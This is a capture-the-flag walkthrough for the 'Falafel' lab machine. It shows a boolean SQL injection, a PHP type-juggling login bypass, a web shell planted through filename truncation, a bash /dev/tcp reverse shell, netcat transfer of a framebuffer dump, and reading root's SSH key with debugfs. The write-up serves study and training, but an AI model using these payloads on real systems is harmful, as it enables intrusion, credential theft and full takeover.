Falafel

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.73 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.73 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

There is just a welcome message in the website.

The robots.txt file contains the disallow entry /*.txt.

Let's try to list any subdirectories or any .txt and .php files hidden in the website.

gobuster dir -u http://10.10.10.73/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 --no-error -x txt,php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

The /cyberlaw.txt file is says that there is a way to log in to the site as the admin user. Also, get into the server using the image upload feature.

Exploitation

If we try to log in as the admin user with random credentials, we'll get the error Wrong identification : admin.

But, if we try to log in as some random user, we will get the error Try again...

If we try to log in with an SQL injection payload, we'll get the error Wrong identification : admin. Which means that the query is valid.

' or 1=1-- -

We can't bypass the login page, but we can run SQL queries, and as if the error is Wrong identification : admin. the query is true, and if the error is Try again.. the query is false, we will have to exploit a Boolean SQL Injection. if we start enumerating the database with the UNION statement as usual, we'll get the error Hacking Attempt Detected!.

' union select 1-- -

But there are other ways of enumerating a database. The following query will check if the first letter of admin is an a. As the comparison is true we should get the error Wrong identification : admin.

admin' and substring(username,1,1)='a'-- -

I made the following script in python which will guess all the characters of the password hash stored in the database following the previous logic.

If we run the script, we'll see that the password hash for the admin user is 0e462096931906507119562988736854.

python script.py

But we can't break the hash and it is not available in any rainbow table.

But, if you remember in the /cyberlaw.txt there was another user called chris. Let's try to get his password hash. Make sure to change the username to chris.

python script.py

We got a new hash, and this time it is available in the rainbow tables.

Let's log in as the chris user.

The welcome message is putting a lot of emphasis on juggling. Maybe we have to exploit a Type Juggling attack. If the login page is vulnerable to this vulnerability, the page will compare the hash of the admin user with the md5 hash of our password input using the == comparison. As the admin password hash start with 0e, which means and exponential of 0, which is equal to 0.

php --interactive

php > if ("0e462096931906507119562988736854" == 0) { echo "equal"; } else { echo "not equal"; }

So if we log in with a password, whose hash start with 0e and the rest of the hash are numbers, the result of the exponential will also be 0 as the hash of the admin user, and we'll be able to log in a admin.

This article show a few strings whose hashes are the ones we are looking for. Let's log in with the password 240610708.

Now we are logged in as admin.

Now, there might be a way to get access to the server with this upload feature. Let's do a test. First, set a simple HTTP server with python.

python -m http.server 80

Now, create a file called test.png.

touch test.png

Now, click on Upload, then intercept the request with BurpSuite, and send it to the Repeater. Then, send a request with the following value as the url parameter.

As you can see, the file got downloaded. The server is storing the file inside a random directory. We could try to upload .php files.

touch test.php

But we are not allowed to do that. On linux, the filenames can't be longer than 255 bytes. So what happens if we try to upload a file whose name is 255 bytes long. Let's check it out. First, let's create a patter of 251 bytes, as we do in buffer overflows.

msf-pattern_create

Now, create a file called like the pattern with the .png extension, so it has 255 bytes, and we are able to upload it.

touch Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.png

Now, upload it to the website.

As we can see, we were able to upload the file, but the filename got shortened. There must be some kind of job shortening the filenames in case they are too long.

Something we can do is check what is the exact offset of bytes that we can upload, and then upload a file with offset-4 characters, and then the .php.png extension, so we can upload the file. This way the shorten job will cut of the .png part, and we'll be able to upload a .php file with some malicious code. First, calculate the offset. As you can see, the last 4 characters of the shortened file are Ah7A.

echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah" | wc -c

Now, create a new patter with 236-4 characters.

msf-pattern_create -l 232

Create a file with that name and the .php.png extension. Write some malicious code on the file.

nano Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png

If we upload the file, we'll see that the server cut off the .png part, and it stored a .php file in the /uploads/1117-2156_6e68af9e0ef8c74a directory.

Now, if we access the PHP file, we'll be able to run commands using the cmd parameter.

curl "http://10.10.10.73/uploads/1117-2156_6e68af9e0ef8c74a/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami"

Let's get a reverse shell. First, set a netcat listener on port 4444 with netcat.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, send the reverse shell.

curl "http://10.10.10.73/uploads/1117-2156_6e68af9e0ef8c74a/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/10.10.14.14/4444%200>%261'"

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's check the system users.

grep sh /etc/passwd

If we check the /var/www/html directory, we'll see a file called connection.php.

ls -la /var/www/html

That file contains credentials for the MySQL database.

cat /var/www/html/connection.php

And it looks like that password is valid for the moshe user. Then, we can grab the user flag.

su moshe

By checking what groups is moshe a member, we'll see he is member of the video group.

id

Someone that is a member of the video group could be able to take screenshots. First, we'll need to find the proper virtual device.

find / -group video 2>/dev/null

Now, copy the /dev/fb0 file into the /tmp directory.

cp /dev/fb0 /tmp/

Let's transfer that file to our local machine. Set a netcat listener on port 5555, pointing to fb0.raw.

nc -lvnp 5555 > fb0.raw

Then, on the falafel machine, send the file with netcat.

nc 10.10.14.14 5555 < fb0

Now, we need to know the proper dimensions of the screen of the victim machine.

echo "Width:"; cat /sys/class/graphics/fb0/virtual_size | cut -d, -f1; echo " Heigth:"; cat /sys/class/graphics/fb0/virtual_size | cut -d, -f2

On our local machine, create the video.pl script with the following code.

nano video.pl

Finally, let's run the script with the width and heigth as parameters.

perl video.pl 1176 885 < fb0.raw > fb0.png

If we take a look at the fb0.png screenshot, we'll see that the user yossi is changing his password to MoshePlzStopHackingMe!.

Let's become the yossi user.

su yossi

If we check the yossi groups, we'll see that he is member of the disk group.

id

As we are in the disk group, we can read all the hard drives devices.

fdisk -l

It looks like the filesystem is stored in /dev/sda1. Let's take a look at it.

debugfs /dev/sda1

debugfs: ls

As we are able to use the entire file system, we could grab the id_rsa file of the root user.

debugfs: cat /root/.ssh/id_rsa

Copy the key to our local machine, give the file a 600 permission, and log in as root to the machine. Then, all we have to do is reap the harvest and take the root flag.

nano id_rsa

chmod 600

ssh -i id_rsa root@10.10.10.73

Last updated

Was this helpful?